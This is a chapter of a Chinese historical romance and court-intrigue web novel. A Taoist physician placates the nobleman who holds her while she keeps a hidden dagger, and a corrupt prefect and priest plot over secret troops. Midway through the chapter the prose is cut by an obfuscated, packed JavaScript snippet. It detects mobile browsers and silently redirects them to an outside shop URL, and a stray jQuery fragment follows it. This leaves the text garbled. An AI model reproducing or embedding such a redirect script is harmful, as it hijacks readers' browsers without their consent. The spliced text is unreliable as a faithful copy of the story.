白日里热闹的院落,此时静悄悄的。
月光将竹影斜斜的打在窗棂上,模糊了来人的影子。
舒晏睡得很不安稳,她的眉毛紧紧拧在一起,额头上也沁出了细汗,她嘴唇翕动,吐出些含混的呓语。
黑暗中,模糊的人影无声地靠近了她,就如真正的影子一般俯下身,不断贴近,试图侵入她的梦中。
“不要……能回去的,来得及的……一定来得及的。”
她忽地从梦中惊醒。
急促的呼吸声尚未平稳,抬眼就看到贴近她的黑影,她忙撑起身子,坐了起来。
“谁在那!”
她悄悄将手伸向藏在枕头后的匕首,咽了咽口水。
“是我。”
黑暗中传来卫恪焉辨不出情绪的声音。
“郎君怎么这会儿来了?”
舒晏只觉得他状态不对,白日里他总自矜于世家身份,行为举止大抵也称得上君子,可今夜他无声无息来她这,她只怕是他起了色心想毁约。
她将匕首藏进袖中,语气一如往常,“我去把灯点上。”
她起身准备把灯点上,试图拉开他们之间的距离。
卫恪焉没应她,反倒坐在床沿边,教她没法从床上下来。
“做的什么梦,怕成这样。”
他的面容隐于暗处,教舒晏看不清他的神色。
他的视线似乎也被这暗色搅得湿滑沉重,缓慢地在她身上逡巡,好像正在仔仔细细掂量她。
舒晏稳住心神,他白日里已经恼了她,只怕现在是来兴师问罪了。
她声音沙哑,回道:“只是寻常噩梦罢了,骤然醒来已经想不起梦见什么了。”
卫恪焉拿出帕子,温柔而克制地给她擦汗,“可是做了什么亏心事,这才做了噩梦?听说你和太守送来的那两个美人相谈甚欢是吗?”
舒晏攥紧了被子,身体因为他的靠近而微微发僵,“玉娘、桢娘天真可爱,年岁又轻,我看诊回来路上正碰上了她们,这才叫她们来我院中略坐了会,她们还帮我整理了药材呢。”
他隔着帕子捧起舒晏的脸,帕子后的手掌轻轻的摩挲。
月光顺着门缝偷偷地溜了进来,将他冷白的肌肤衬得愈发没有血色,白得隐隐透出几分鬼魅的虚浮。
他眸中漾着月光,亮得灼灼逼人。
“栖尘,府中多了两个美人,你不吃醋吗?”
“贫道不敢。”
舒晏扭过脸,躲开这似质问般的桎梏。
“你究竟是装傻还是真傻,她们为什么来找你,你难道不清楚吗?竟然还敢创造机会,让她们接近我。你可是认为我太好说话了?”
卫恪焉的目光盘旋在她那张淡然的玉面上,想看看她究竟是哪里特别,可即便如此,他还是不肯轻易放下她。
他心中暗恨,他今日一进院中就觉得不对劲,他自诩对栖尘全然真心,可她竟然弃之若敝屣。
仙道贵生,无量度人。
她那般心善的为那些百姓施医求药,为何就独独对他硬得下心肠。
舒晏被这几个连续的发问,堵得说不出话。
她没想到他来得这么快,因噩梦还有些混沌的脑子此刻已经一片清明。
他为什么会这么生气?为什么生气后又这么快来找她?
舒晏渐渐有些回过味来,这个答案已经显而易见。
他在意她,且并不只为色。
这让她有了突破口。
她咬着唇,迅速调整了自己的状态,盈盈的眼眸中慢慢蓄起了泪,语气中似藏着几分倔强,低声说道:
“左右都是你说得算,哪里有我能置喙的地方。你一时喜欢,便将我这个道姑强掳了来。你一时不喜欢,将来撂开手不管我,我又能如何。我吃不吃味,又有什么要紧的。”
她几度哽咽,似乎伤心的快要说不出话来,缓了口气又继续说:
“玉娘、桢娘是太守送来的,不仅模样好,性子也好,我又哪里比得上她们。我只怕哪时和你回了府,也迟早会被你置之脑后,这才有意和玉娘她们亲近了些,难道连这个也不许吗?若说我给她们机会,你若是无心,我又能如何,你既收了人家,我不过顺了你的意,何苦又来怪我?”
说完,她似有些撑不住情绪,转身面着墙,低声抽泣,只给他留下有些颤抖的背影。
卫恪焉却没有立刻安慰她。
他那双眸子死死地钉在她的身上。
他正在把栖尘说的话揉碎了,细细品味,仔细打量她的动作神态,看看她究竟有几分真心,几分假意。
在祖父的教养下,世家权力的争夺中,他早就明白了一件事,一个人的真心不能听他说什么,而是要看他做什么。
栖尘其言与其行背道而驰。
他的理智告诉他,她说的话可能没有几分是真的。
但他最后还是伸出手,从背后揽住了栖尘。
栖尘身子一僵,随后软软的倒在他的身上。
她依偎在他的胸口处,头微微仰着,泪眼含怯,她的目光似无所依,最后只局促地凝滞在他的脖颈的喉结处。
柔软温热的身体渐渐化开了他周身的冷意,也许是他误会了,栖尘一个久居深山的道姑,不谙世事,一时想错了,走叉了路也是有的。
感受到怀中尚在抽噎的身体,他难得有几分自责,应该要相信她的,也许就是像她说的那样,她只是没有依靠,有些害怕。
他一下一下地轻抚着她的背,“是我的不是,怪我没和你说清楚。我收下那两个美人本就是敷衍那太守罢了,原本就没准备碰她们。便是卫府的后宅,我身边也是没有一个通房、一个妾室,你是我第一个身边人,往后也是谁都越不过你的。你不用担心这些。”
听见这话,舒晏慢慢止住了抽噎。
她细细揣度他的话,这是轻轻揭过了?
竟然就这样糊弄过去了。
她这才惊觉他竟对她真上了几分心。
她在他面前呈现出的,不过都是委曲求全下的假面。
连她是个什么样的人都不清楚,却还露出这副深情的疼惜样。
真是可笑。
但……便是有这几分上心,或许能给她跑路增添几分可能。
舒晏声音怯怯,“你说的倒是好听,不过就是在哄我。刚刚那样冷着脸对我,直让我心里害怕。”
卫恪焉自知自己刚刚的情绪过了,确实不该吓她,“那栖尘想如何?”
“你把那两个娘子的卖身契给我,你若是能做到我便相信你说的是真的。”
舒晏似乎还在赌气。
卫恪焉道:“你既想要,给了你便是。你身边也没个丫鬟伺候,且将就用两天,待回了卫府再给你找几个合适的。”
他顿了顿,带着几分补偿似的劝慰道:“元骁和我说,你今日又去看诊了,我知道你现在还没还俗,还是道士,总还想渡人,我也不拦你,有什么需要的尽管开口便是。”
卫恪焉给了台阶,展示他的诚意。
舒晏接住了,她回身看向他,“果真不拦着我看诊?”
卫恪焉回道:“自然,只是别累着了,看诊的时候让元骁侯着,这样更稳妥些。”
舒晏这才笑了起来,“你答应了便好。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704466|208090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
卫恪焉心中暗忖,左右等这边事办完了,才能给她办还俗礼。
如今还是由着她些,待真收了房,她的精力自然就全然落到他的身上,不会再抛头露面了。
二人还是维持那个拥抱的姿势,近得能听到彼此心脏跳动的声音。
卫恪焉爱怜地蹭了蹭她的脸,“原本想看看你睡了没,竟扰你哭了一场,我这便回去了,你且继续睡吧。”
舒晏也温声开口:“外头暗,郎君记得拿盏灯再走,希望郎君今晚有个好眠。”
卫恪焉只觉得心中熨帖极了,提着灯缓步离开了。
舒晏靠着床栏,缓缓地吐出一口气,将袖中的匕首又藏回枕头底下。
她方才依偎在他怀中,袖中的短刃蓄势待发,若是方才卫恪焉不依不饶强迫于她,她便立即出手。
结喉下二寸处为天突凹处,若是趁他不备,刺破气道,瞬时便会气息断绝。
这些时日郎情妾意的戏码,她已经是演得够够的。
而卫恪焉还在不断冲击她设的底线,这日子真是一天也熬不住了。
夏日屋内还是有几分热,暑气闷的她几乎喘不上气,想起那没做完的噩梦,她忽然有些不敢入眠了。
还好,窗外掠来了几声清啼,她推开窗,让鸟啼啄散满屋的沉闷。
————
此时此刻,还有一些人也焦躁得睡不着。烛光摇摇晃晃,映出他们晦暗的神色。
“蠢货!好端端的偏要自作主张,派人去路上截杀他,这不是往他手里塞把柄吗?”太守眉头狠狠皱着,语气里含着压抑的怒火。
济微道长垂首敛了气焰,面上带着不甘,“那卫恪焉在京城可是出了名的心思缜密,他若是在这浔川郡待久了,发现了别的什么,我们二人怎么和主子交代。当初先下手为强没错,怪只怪当时轻敌了,派过去的人少了。”
太守猛地看向他,在房间里来回踱步,“你就是成功了又如何,他可是河东卫氏的公子,平白无故的死在了路上,尚书事能善罢甘休吗?”
他叹了口气,摆摆手,“算了,这些倒不提了,眼下他大概是被我们稳住了,只盼能早些把这尊煞神送走,这一天天心惊肉跳的。”
见济微道长还是不以为意,刘太守有些抓狂,“现在给他送些钱,都是小事。但若是发现我们圈养私兵,坏了主子的大事,你以为主子能饶得了我们吗?”
济微道长面色沉了几分,“官署内的眼线说,卫恪焉不知去了哪里,今日一整天都不在官署内,就怕他与我们合作是假,拖延时间才是真的。”
他敲了敲案几,“还有他身边的那个栖尘道士,竟开始明目张胆的去给人治病了,这不是明白的打我们云霄派的脸吗?我手底下几个人都说,最近百姓的香火钱都少了许多。”
刘太守淡淡瞥了他一眼,语气中带着警告,“左右他们待不了太长时间,那些百姓过一阵再和他们清算也不迟,待他们走了,你想收多少就能收多少。”
济微道长情绪平复了些,微微沉吟,“你送过去的两个美人,如今可有动静?”
刘太守摇了摇头,“也是没什么消息,原也不能太指望那两个。我看那个卫恪焉虽看起来光风霁月的,实则怕是对他身边的那个道姑有意。”
他正色再次向济微道长强调,“你这些日子给那些人送粮,务必万分小心,趁夜深人静时悄悄去送,莫教人瞧见了。寻常也不要再使那些人出来办事,在他们离开之前,安分蛰伏为上。”
济微道长虽认为他过于谨慎了,但还是应了下来,“我和底下的人都仔细交代了,都是夜间乘小船去岛上的,安全得很。”